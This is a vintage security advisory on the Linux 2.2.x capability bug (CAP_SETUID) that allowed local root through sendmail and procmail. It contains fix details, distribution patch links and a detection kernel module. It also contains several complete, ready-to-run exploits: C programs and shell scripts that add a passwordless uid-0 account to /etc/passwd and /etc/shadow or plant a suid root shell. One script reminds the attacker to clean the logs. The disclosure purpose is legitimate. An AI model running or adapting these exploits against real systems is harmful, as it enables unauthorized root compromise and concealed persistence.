COMMAND

    kernel

SYSTEMS AFFECTED

    Linux 2.2.15

PROBLEM

    The Sendmail Consortium and Sendmail, Inc. has been informed of  a
    serious problem in the Linux kernel  that can be used to get  root
    access.   This  is  not  a  sendmail  security  problem,  although
    sendmail is one of the vectors for this attack.

    There is a bug in  the Linux kernel capability model  for versions
    through 2.2.15 that allows local  users to get root.   Sendmail is
    one of the programs that can  be attacked this way.  This  problem
    may occur in other capabilities-based kernels.

    The problem lies  in the setcap(2)  call, which is  not documented
    on  most  Linux-based  systems  (there  might  be  a  man  page on
    Mandrake).   This call,  based on  the unratified  Posix 1e draft,
    attempts  to  break  down  root  permissions  into  a  series   of
    capabilities.  Normally root has all capabilities and normal users
    have none of the capabilities.

    One such capability is the ability of a process to do an arbitrary
    setuid(2) call.   As documented in  ISO/IEC 9945-1 (ANSI/IEEE  Std
    1003.1) POSIX Part 1:

        4.2.2.2 Description
        ...
           If {_POSIX_SAVED_IDS} is defined:

           (1) If the process has appropriate privileges, the
               setuid() function sets the real user ID, effective
               user ID, and the saved set-user-ID to uid.

           (2) If the process does not have the appropriate
               privileges, but uid is equal to the real user ID
               or the saved set-user-ID, the setuid() function
               sets the effective user ID to uid; the real user
               ID and saved set-user-ID remain unchanged by this
               function call.

    The CAP_SETUID capability represents the "appropriate privileges".
    Normally this would not be  an issue, since a setuid  root program
    would  simply  have  capability  reinstated.   However,  Linux has
    an added  capability CAP_SETPCAP  that controls  the ability  of a
    process  to  inherit  capabilities;  this  capability  does affect
    setuid programs.   It is  possible to  set the  capabilities  such
    that  a  setuid  program  does  not have "appropriate privileges."
    The effect of  this is that  a root program  cannot fully give  up
    its  root  privileges  (since  the  saved  set-user-ID  cannot  be
    reset).

    Note that checking the return value from setuid() is insufficient;
    the setuid(getuid()) succeeds even when the process does not  have
    "appropriate  privileges."    The   sendmail  patch   attempts   a
    setuid(0)  after  a  setuid(getuid());  under normal circumstances
    this should  fail (unless  of course  the real  uid is  root).  If
    this setuid(0) succeeds,  then the kernel  has failed to  properly
    give up permissions and sendmail will refuse to continue  running.
    This problem  can, of  course, appear  in any  setuid root program
    that attempts to cede special permissions.

    Several people contributed to this advisory.  Wojciech  Purczynski
    first identified the problem.   Alan Cox verified and patched  the
    Linux kernel bug.  Gregory  Neil Shapiro and other members  of the
    Sendmail Consortium  helped identify  the problem  and produce the
    sendmail workaround.

    Procmail seems to be affected by this hole if used as local-mailer
    for sendmail.  If CAP_SETUID bit is cleared procmail doesn't  drop
    privileges and may execute luser's program that mail is  forwarded
    to  in  ~user/.procmailrc  with   root  privileges.   Crontab   IS
    vulnerable, but it will only  give you egid=0 (at least  at RedHat
    5.1 with 2.2.12 kernel).

    The  Linux  2.4.0-test1  kernel  has  the  problem  as well, as do
    (probably) some  of the  2.3 kernels.   Just a  heads-up  (they're
    in development).

    What follows are 2 sources, ex.c  and add.c.  Compile these 2  and
    create a file "mail":

        From: yomama@foobar.com
        To: localuser@localdomain.com
        Subject: foo
        bar
        .

    then create a .forward with:

        |/path/to/add

    then just do:

        ./ex < mail

    this should  add a  user yomama  with uid/gid  = 0  and without  a
    password set a simple su - yomama should give you root.  On RedHat
    6.1. system  sendmail is  configured to  use smrsh,  which forbids
    piping mail to arbitrary programs with .forward.  But such systems
    are  still  vulnerable,  because  sendmail  is  configured  to run
    procmail.   Just  change  the  exploit  to  use a .procmailrc file
    instead of .forward.  Here's an example:

        LOGFILE=/etc/crontab
        LOG="* * * * * root /tmp/my_dodgy_script.sh
        "
        LOGABSTRACT=no

        :0
        /dev/null

    ex.c:

    #include <linux/capability.h>

    int main (void) {
       cap_user_header_t header;
       cap_user_data_t data;

       header = malloc(8);
       data = malloc(12);

       header->pid = 0;
       header->version = _LINUX_CAPABILITY_VERSION;

       data->inheritable = data->effective = data->permitted = 0;
       capset(header, data);

       execlp("/usr/sbin/sendmail", "sendmail", "-t", NULL);
    }

    add.c:

    #include <fcntl.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <unistd.h>

    int main (void) {
       int fd;
       char string[40];
       struct stat buf;

       seteuid(0);
       fd = open("/etc/passwd", O_APPEND|O_WRONLY);
       strcpy(string, "yomama:x:0:0::/root:/bin/sh\n");
       write(fd, string, strlen(string));
       close(fd);
       stat("/etc/shadow", &buf);
       chmod("/etc/shadow", S_IRUSR|S_IWUSR);
       fd = open("/etc/shadow", O_APPEND|O_WRONLY);
       strcpy(string, "yomama::11029:0:99999:7:::\n");
       write(fd, string, strlen(string));
       close(fd);
       chmod("/etc/shadow", buf.st_mode);
    }

    Here's a little script to exploit this bug by Christophe Grenier:

    #!/bin/sh
    echo Exploit for capability bug using sendmail
    echo 8 june 2000 - Christophe GRENIER
    echo grenier@nef.esiea.fr
    echo http://www.esiea.fr/public_html/Christophe.GRENIER
    echo
    export BINDIR=$HOME
    cat > add.c <<EOF
    #include <fcntl.h>
    #include <unistd.h>

    int main (void)
    {
      int fd;
      char string[40];
      seteuid(0);
      chmod("/etc/passwd",0644);
      fd = open("/etc/passwd", O_APPEND|O_WRONLY);
      if(fd>0)
      {
        strcpy(string, "kmaster0:x:0:0::/root:/bin/sh\n");
        write(fd, string, strlen(string));
        close(fd);
      }
      chmod("/etc/shadow",0600);
      fd = open("/etc/shadow", O_APPEND|O_WRONLY);
      if(fd>0)
      {
        strcpy(string, "kmaster0::11029:0:99999:7:::");
        write(fd, string, strlen(string));
        fchmod(fd,0400);
        close(fd);
      }
      return 0;
    }
    EOF
    cat > ex.c <<EOF
    #include <stdlib.h>
    #include <unistd.h>
    #include <linux/capability.h>

    int main (void)
    {
      cap_user_header_t header;
      cap_user_data_t data;
      header = malloc(8);
      data = malloc(12);
      header->pid = 0;
      header->version = _LINUX_CAPABILITY_VERSION;
      data->inheritable = data->effective = data->permitted = 0;
      capset(header, data);
      execlp("/usr/sbin/sendmail", "sendmail", "-t", NULL);
      return 0;
    }
    EOF
    gcc -o $BINDIR/add add.c
    gcc -o ex ex.c
    chmod 755 $BINDIR/add
    chmod 711 $BINDIR
    cat > mail.msg << EOF
    From: $USER
    To: $USER
    Subject: exploit
    pipo
    EOF
    echo "\"|exec $BINDIR/add || exit 75 #GRENIER\"" > ~/.forward
    chmod 600 ~/.forward
    ./ex < mail.msg
    echo Waiting a little bit...
    sleep 3
    echo Cleaning
    rm -f mail ex ex.c $BINDIR/add add.c ~/.forward
    su - kmaster0

    Here's some code to test whether giving up root works:

    #include <stdio.h>
    #include <unistd.h>

    int main(void)
    {
            if (geteuid()) {
              printf("Run me as root please\n");
              exit(1);
            }
            printf("BEFORE: %d %d\n", getuid(), geteuid());
            setuid(getuid());
            printf("GAVE UP: %d %d\n", getuid(), geteuid());
            setuid(0);
            printf("GOT BACK: %d %d\n", getuid(), geteuid());
            if (!geteuid() || !getuid()) printf("PROBLEM!!\n");
            return 0;
    }

    Here's a demonstration of the problem:

        $ uname -s -r
        Linux 2.2.14-15mdk
        $ gcc blep.c -o blep
        $ gcc suidcap.c -o suidcap
        $ su
        Password:
        # chown root.root blep
        # chmod 4755 blep
        # exit
        $ ./blep
        BEFORE: 502 0
        GAVE UP: 502 502
        GOT BACK: 502 502
        $ ./suidcap
        launching shell...
        sh-2.03$ ./blep
        BEFORE: 502 0
        GAVE UP: 502 502
        GOT BACK: 502 0
        PROBLEM!!
        sh-2.03$ exit

    And finally,  here is  what Wojciech  Purczynski had  to say  (who
    discovered this while he was coding his kernel module).  He  wrote
    two versions of proof-of-concept exploits.

    Sendmail exploit:

    #!/bin/sh

    echo "+-----------------------------------------------------------+"
    echo "|      Linux kernel 2.2.X (X<=15) & sendmail <= 8.10.1      |"
    echo "|                    local root exploit                     |"
    echo "|                                                           |"
    echo "|   Bugs found and exploit written by Wojciech Purczynski   |"
    echo "|      wp@elzabsoft.pl   cliph/ircnet   Vooyec/dalnet       |"
    echo "+-----------------------------------------------------------+"

    TMPDIR=/tmp/foo
    SUIDSHELL=/tmp/sush
    SHELL=/bin/tcsh

    umask 022
    echo "Creating temporary directory"
    mkdir -p $TMPDIR
    cd $TMPDIR

    echo "Creating anti-noexec library (capdrop.c)"
    cat <<_FOE_ > capdrop.c
    #define __KERNEL__
    #include <linux/capability.h>
    #undef __KERNEL__
    #include <linux/unistd.h>
    _syscall2(int, capset, cap_user_header_t, header, const cap_user_data_t, data)
    extern int capset(cap_user_header_t header, cap_user_data_t data);
    void unsetenv(const char*);
    void _init(void) {
	    struct __user_cap_header_struct caph={_LINUX_CAPABILITY_VERSION, 0};
	    struct __user_cap_data_struct capd={0, 0, 0xfffffe7f};
	    unsetenv("LD_PRELOAD");
	    capset(&caph, &capd);
	    system("echo|/usr/sbin/sendmail -C$TMPDIR/sm.cf $USER");
    }
    _FOE_
    echo "Compiling anti-noexec library (capdrop.so)"
    cc capdrop.c -c -o capdrop.o
    ld -shared capdrop.o -o capdrop.so

    echo "Creating suid shell (sush.c)"
    cat <<_FOE_ > sush.c
    #include <unistd.h>
    int main() { setuid(0); setgid(0); execl("/bin/sh", "sh", NULL); }
    _FOE_

    echo "Compiling suid shell (sush.c)"
    cc sush.c -o $TMPDIR/sush

    echo "Creating shell script"
    cat <<_FOE_ >script
    mv $TMPDIR/sush $SUIDSHELL
    chown root.root $SUIDSHELL
    chmod 4111 $SUIDSHELL
    exit 0
    _FOE_

    echo "Creating own sm.cf"
    cat <<_FOE_ >$TMPDIR/sm.cf
    O QueueDirectory=$TMPDIR
    O ForwardPath=/no_forward_file
    S0
    R\$*	\$#local \$: \$1
    Mlocal,	P=$SHELL, F=lsDFMAw5:/|@qSPfhn9, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL,
	    T=DNS/RFC822/X-Unix, A=$SHELL $TMPDIR/script
    _FOE_

    echo "Dropping CAP_SETUID and calling sendmail"
    export LD_PRELOAD=$TMPDIR/capdrop.so
    /bin/true
    unset LD_PRELOAD

    echo "Waiting for suid shell ($SUIDSHELL)"
    while [ ! -f $SUIDSHELL ]; do sleep 1; done

    echo "Removing everything"
    cd ..
    rm -fr $TMPDIR

    echo "Suid shell at $SUIDSHELL"
    $SUIDSHELL

    Sendmail & procmail exploit:

    #!/bin/sh

    echo "+-----------------------------------------------------+"
    echo "|   Sendmail & procmail & kernel local root exploit   |"
    echo "|                                                     |"
    echo "|Bugs found and exploit written by Wojciech Purczynski|"
    echo "|    wp@elzabsoft.pl   cliph/ircnet  Vooyec/dalnet    |"
    echo "+-----------------------------------------------------+"

    echo Creating cap.c

    cat <<_FOE_ > cap.c
    #define __KERNEL__
    #include <linux/capability.h>
    #undef __KERNEL__
    #include <linux/unistd.h>

    _syscall2(int, capset, cap_user_header_t, header, const cap_user_data_t, data)
    extern int capset(cap_user_header_t header, cap_user_data_t data);
    int main()
    {
	    struct __user_cap_header_struct caph={
		    _LINUX_CAPABILITY_VERSION,
		    0
	    };
	    struct __user_cap_data_struct capd={
        	    0,
		    0,
		    0xfffffe7f
	    };
	    capset(&caph, &capd);
	    system("echo|/usr/sbin/sendmail $USER");
    }
    _FOE_

    echo Creating $HOME/.procmailrc
    PROCMAILRCBAK=$HOME/.procmailrc.bak
    mv -f $HOME/.procmailrc $PROCMAILRCBAK
    cat <<_FOE_ > $HOME/.procmailrc
    :H
    *
    |/bin/tcsh -c "rm -fr /bin/sush; mv -f /tmp/sush /bin/sush; chown root.root /bin/sush; chmod 4111 /bin/sush"
    _FOE_

    echo Compiling cap.c -> cap
    cc cap.c -o cap

    echo Creating sush.c
    cat <<_FOE_ > sush.c
    #include <unistd.h>
    int main()
    {
	    setuid(0);
	    setgid(0);
	    execl("/bin/bash", "bash", NULL);
    }
    _FOE_

    echo Compiling sush
    cc sush.c -o /tmp/sush

    echo Executing cap
    ./cap
    echo Don\'t forget to clean logs

    echo Waiting for suid shell
    while [ ! -f /bin/sush ]; do
    sleep 1
    done

    echo Cleaning everything
    rm -fr $HOME/.procmailrc cap.c cap sush.c
    mv $PROCMAILRCBAK $HOME/.procmailrc

    echo Executing suid shell
    /bin/sush

    The  known  capability  bug  in  the Linux kernel, also indirectly
    affects Trustix  Secure Linux  1.00 and  1.01.   While it  has not
    been proven that  any software shipped  with TSL 1.0x  can be used
    to exploit  this bug,  we know  that many  of users  add their own
    packages to  their servers,  making us  indirectly susceptible  to
    exploits.

    Cobalt RaQ 3 with OS Update 3.0  has this too.  This works on  any
    Cobalt RaQ 3  box at the  current time will  get you an  suid root
    shell.

SOLUTION

    The correct fix is to update your Linux kernel to version  2.2.16.
    This is  the only  way to  ensure that  other programs  running on
    Linux cannot be attacked by this bug.

    Sendmail 8.10.2 has added  a check to see  if the kernel has  this
    bug, and if so  will refuse to run.   This version also does  more
    detailed checks  on certain  system calls,  notably setuid(2),  to
    detect  other  possible  attacks.   Although  there  are  no known
    attacks, this version is strongly recommended, whether or not  you
    have a vulnerable kernel.  Sendmail 8.10.2 can be obtained from:

        ftp://ftp.sendmail.org/pub/sendmail/sendmail.8.10.2.tar.gz
        ftp://ftp.sendmail.org/pub/sendmail/sendmail.8.10.2.tar.Z
        ftp://ftp.sendmail.org/pub/sendmail/sendmail.8.10.2.tar.sig

    For OpenLinux:

      OpenLinux Desktop 2.3
        ftp://ftp.calderasystems.com/pub/updates/OpenLinux/2.3/current/RPMS/
        ftp://ftp.calderasystems.com/pub/updates/OpenLinux/2.3/current/SRPMS

      OpenLinux eServer 2.3 and OpenLinux eBuilder
        ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/RPMS/
        ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/SRPMS

      OpenLinux eDesktop 2.4
        ftp://ftp.calderasystems.com/pub/updates/eDesktop/2.4/current/RPMS/
        ftp://ftp.calderasystems.com/pub/updates/eDesktop/2.4/current/SRPMS

    For TurboLinux versions 6.0.5 and earlier update the packages  ftp
    server:

        ftp://ftp.turbolinux.com/pub/updates/6.0/security/kernel-2.2.16-0.4.i386.rpm
        ftp://ftp.turbolinux.com/pub/updates/6.0/security/kernel-BOOT-2.2.16-0.4.i386.rpm
        ftp://ftp.turbolinux.com/pub/updates/6.0/security/kernel-doc-2.2.16-0.4.i386.rpm
        ftp://ftp.turbolinux.com/pub/updates/6.0/security/kernel-headers-2.2.16-0.4.i386.rpm
        ftp://ftp.turbolinux.com/pub/updates/6.0/security/kernel-ibcs-2.2.16-0.4.i386.rpm
        ftp://ftp.turbolinux.com/pub/updates/6.0/security/kernel-pcmcia-cs-2.2.16-0.4.i386.rpm
        ftp://ftp.turbolinux.com/pub/updates/6.0/security/kernel-smp-2.2.16-0.4.i386.rpm
        ftp://ftp.turbolinux.com/pub/updates/6.0/security/kernel-source-2.2.16-0.4.i386.rpm
        ftp://ftp.turbolinux.com/pub/updates/6.0/security/kernel-utils-2.2.16-0.4.i386.rpm

    For TurboLinux Data  Server (only applies  if you use  "TurboLinux
    Data Server  with DB2"  or "TurboLinux  Data Server  Optimized for
    Oracle 8i") update the packages from ftp server:

        ftp://ftp.turbolinux.com/pub/updates/6.0/security/TDS-kernel/kernel-2.2.16-0.4.i386.rpm
        ftp://ftp.turbolinux.com/pub/updates/6.0/security/TDS-kernel/kernel-BOOT-2.2.16-0.4.i386.rpm
        ftp://ftp.turbolinux.com/pub/updates/6.0/security/TDS-kernel/kernel-doc-2.2.16-0.4.i386.rpm
        ftp://ftp.turbolinux.com/pub/updates/6.0/security/TDS-kernel/kernel-headers-2.2.16-0.4.i386.rpm
        ftp://ftp.turbolinux.com/pub/updates/6.0/security/TDS-kernel/kernel-ibcs-2.2.16-0.4.i386.rpm
        ftp://ftp.turbolinux.com/pub/updates/6.0/security/TDS-kernel/kernel-pcmcia-cs-2.2.16-0.4.i386.rpm
        ftp://ftp.turbolinux.com/pub/updates/6.0/security/TDS-kernel/kernel-smp-2.2.16-0.4.i386.rpm
        ftp://ftp.turbolinux.com/pub/updates/6.0/security/TDS-kernel/kernel-source-2.2.16-0.4.i386.rpm
        ftp://ftp.turbolinux.com/pub/updates/6.0/security/TDS-kernel/kernel-utils-2.2.16-0.4.i386.rpm

    Mandrake Linux:

        7.1/RPMS/kernel-2.2.16-9mdk.i586.rpm
        7.1/RPMS/kernel-doc-2.2.16-9mdk.i586.rpm
        7.1/RPMS/kernel-fb-2.2.16-9mdk.i586.rpm
        7.1/RPMS/kernel-headers-2.2.16-9mdk.i586.rpm
        7.1/RPMS/kernel-linus-2.2.16-2mdk.i586.rpm
        7.1/RPMS/kernel-pcmcia-cs-2.2.16-9mdk.i586.rpm
        7.1/RPMS/kernel-secure-2.2.16-9mdk.i586.rpm
        7.1/RPMS/kernel-smp-2.2.16-9mdk.i586.rpm
        7.1/RPMS/kernel-source-2.2.16-9mdk.i586.rpm
        7.1/RPMS/kernel-utils-2.2.16-9mdk.i586.rpm
        7.1/SRPMS/kernel-2.2.16-9mdk.src.rpm
        7.1/RPMS/reiserfs-utils-2.2.16_3.5.19-9mdk.i586.rpm
        7.1/RPMS/alsa-2.2.16_0.5.7-9mdk.i586.rpm

   And here's code to disable the CAP_SETUID capability:

    #include <stdio.h>
    #include <sys/types.h>
    #include <unistd.h>
    #include <linux/unistd.h>
    #include <linux/capability.h>

    _syscall2(int, capget, cap_user_header_t, header, cap_user_data_t, dataptr);
    _syscall2(int, capset, cap_user_header_t, header, cap_user_data_t, dataptr);

    typedef struct __user_cap_header_struct capheader_t;
    typedef struct __user_cap_data_struct capdata_t;

    void remove_cap(capdata_t *data, int cap) {
      data->effective &= ~(1 << cap);
      data->permitted &= ~(1 << cap);
      data->inheritable &= ~(1 << cap);
    }

    void cap_get(capheader_t *header, capdata_t *data) {
      if (capget(header, data) == 0) return;
      perror("capget");
      exit(-1);
    }

    void cap_set(capheader_t *header, capdata_t *data) {
      if (capset(header, data) == 0) return;
      perror("capset");
      exit(-1);
    }

    main() {
      capheader_t header;
      capdata_t data;

      header.version = _LINUX_CAPABILITY_VERSION;
      header.pid = 0;
      data.effective = data.permitted = data.inheritable = 0;
      cap_get(&header, &data);
      remove_cap(&data, CAP_SETUID);
      cap_set(&header, &data);
      printf("launching shell...\n");
      execl("/bin/sh", "/bin/sh", NULL);
      perror("execl");
    }

    TSL chosen  to release  packages for  TSL 1.01  containing version
    2.2.16 of the  kernel, in which  the hole is  fixed.  These  files
    can be found at:

        ftp://ftp.trustix.com/pub/Trustix/updates/1.01/RPMS

    As for RedHat following RPMs are required:

      intel: ftp://updates.redhat.com/6.2/i386/kernel-2.2.16-3.i386.rpm
             ftp://updates.redhat.com/6.2/i386/kernel-headers-2.2.16-3.i386.rpm
             ftp://updates.redhat.com/6.2/i386/kernel-source-2.2.16-3.i386.rpm
             ftp://updates.redhat.com/6.2/i386/kernel-doc-2.2.16-3.i386.rpm
             ftp://updates.redhat.com/6.2/i386/kernel-utils-2.2.16-3.i386.rpm
             ftp://updates.redhat.com/6.2/i386/kernel-smp-2.2.16-3.i386.rpm
             ftp://updates.redhat.com/6.2/i386/kernel-BOOT-2.2.16-3.i386.rpm
             ftp://updates.redhat.com/6.2/i386/kernel-pcmcia-cs-2.2.16-3.i386.rpm
             ftp://updates.redhat.com/6.2/i386/kernel-ibcs-2.2.16-3.i386.rpm

      alpha: ftp://updates.redhat.com/6.2/alpha/kernel-2.2.16-3.alpha.rpm
             ftp://updates.redhat.com/6.2/alpha/kernel-headers-2.2.16-3.alpha.rpm
             ftp://updates.redhat.com/6.2/alpha/kernel-source-2.2.16-3.alpha.rpm
             ftp://updates.redhat.com/6.2/alpha/kernel-doc-2.2.16-3.alpha.rpm
             ftp://updates.redhat.com/6.2/alpha/kernel-utils-2.2.16-3.alpha.rpm
             ftp://updates.redhat.com/6.2/alpha/kernel-smp-2.2.16-3.alpha.rpm
             ftp://updates.redhat.com/6.2/alpha/kernel-BOOT-2.2.16-3.alpha.rpm

      sparc: ftp://updates.redhat.com/6.2/sparc/kernel-2.2.16-3.sparc.rpm
             ftp://updates.redhat.com/6.2/sparc/kernel-headers-2.2.16-3.sparc.rpm
             ftp://updates.redhat.com/6.2/sparc/kernel-source-2.2.16-3.sparc.rpm
             ftp://updates.redhat.com/6.2/sparc/kernel-doc-2.2.16-3.sparc.rpm
             ftp://updates.redhat.com/6.2/sparc/kernel-utils-2.2.16-3.sparc.rpm
             ftp://updates.redhat.com/6.2/sparc/kernel-smp-2.2.16-3.sparc.rpm
             ftp://updates.redhat.com/6.2/sparc/kernel-BOOT-2.2.16-3.sparc.rpm

    sources: ftp://updates.redhat.com/6.2/SRPMS/kernel-2.2.16-3.src.rpm

    Best thing  to do  would be  to erradicate  the problem specificly
    other than disabling the capset  system call all together.   Linux
    2.4.0 will make use of capabilities and will need this system call
    for  some  applications  to  function  properly.   Here is another
    loadable module that will  attack the problem more  specificly and
    log  attempts  to  abuse  this   bug  by  calling  UID  and   task
    information:

    /*
     * Simple module to detect/prevent abuse of CAP_SETUID vulnerability.
     *
     * To use:
     *
     * amenophis(xdr)~% gcc -Wall -O2 -I/usr/src/linux/include -c cpdm.c
     * amenophis(xdr)~% su -c '/sbin/insmod cpdm.o'
     * Password:
     * Detect and prevent abuse of CAP_SETUID kernel bug: xdr@hert.org
     * amenophis(xdr)~% ./cap/capset-test
     * Program attempting to possibly abuse CAP_SETUID bug: UID: 1000 TASK: capset-test[318].
     * capset returns (-1) errno (1 [Operation not permitted])
     *
     * $Id: cpdm.c,v 1.1 2000/06/10 22:00:09 xdr Exp $
     */

    #define __KERNEL__
    #define MODULE

    #ifdef MODVERSIONS
    #include <linux/modversions.h>
    #endif

    #include <linux/kernel.h>
    #include <linux/module.h>
    #include <linux/sched.h>
    #include <linux/capability.h>
    #include <linux/unistd.h>
    #include <asm/uaccess.h>
    #include <sys/syscall.h>

    #define RETURN_EPERM	1

    extern void *sys_call_table[];

    static asmlinkage int (*orig_sys_capset)(cap_user_header_t, cap_user_data_t);

    asmlinkage int new_sys_capset(cap_user_header_t header, cap_user_data_t dataptr)
    {
	    if(current->uid && !cap_raised(dataptr->inheritable, CAP_SETUID)) {
		    printk(KERN_ALERT "Program attempting to possibly abuse CAP_SETUID bug: "
		                      "UID: %d TASK: %.15s[%d].\n",
		           current->uid, current->comm, current->pid);
		    return (RETURN_EPERM ? -EPERM : -EFAULT);
	    }

	    return orig_sys_capset(header, dataptr);
    }

    int init_module( void )
    {
	    printk(KERN_INFO
	           "Detect and prevent abuse of CAP_SETUID kernel bug: xdr@hert.org\n");

	    orig_sys_capset = sys_call_table[__NR_capset];
	    sys_call_table[__NR_capset] = new_sys_capset;

	    return 0;
    }

    void cleanup_module( void )
    {
	    sys_call_table[__NR_capset] = orig_sys_capset;
    }

    SGI ProPack for  Linux comes with  a modified Linux  kernel and is
    installed by default on various Linux distributions.  SGI  ProPack
    1.4 plans to  use the 2.2.16  Linux kernel as  its base.   SGI has
    back-ported the  fix to  older Linux  kernels in  ProPack 1.2  and
    1.3.  SGI ProPack  1.2 is based on  the 2.2.13 Linux kernel.   SGI
    ProPack 1.3 is based on the 2.2.15 Linux kernel.

        Version           Vulnerable      Patch #      Other Actions
        ---------------   -----------     -------      -------------
        SGI ProPack 1.2      yes           3993
        SGI ProPack 1.3      yes           3991
        SGI ProPack 1.4      no